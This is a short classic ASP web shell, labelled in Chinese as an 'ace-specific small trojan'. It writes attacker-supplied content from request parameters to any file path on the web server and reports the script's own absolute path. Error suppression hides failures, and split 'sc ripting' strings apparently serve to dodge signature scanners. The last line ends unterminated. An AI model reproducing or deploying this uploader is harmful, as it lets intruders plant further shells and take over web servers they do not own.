Sub RRS(str):response.write(str):End Sub
RRS""
RRS""
RRS"ace专用小马"
dim objFSO,fdata,objCountFile
on error resume next
Set objFSO = Server.CreateObject("sc ripting.FileSystemObject")
if Trim(request("syfdpath"))<>"" then
fdata = request("cyfddata")
Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)
objCountFile.Write fdata
if err =0 then response.write "保存成功!"
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
response.write " "
response.write "本文件绝对路径"
server.mappath(request.servervariables("sc ript_name"))
response.write " "
RRS"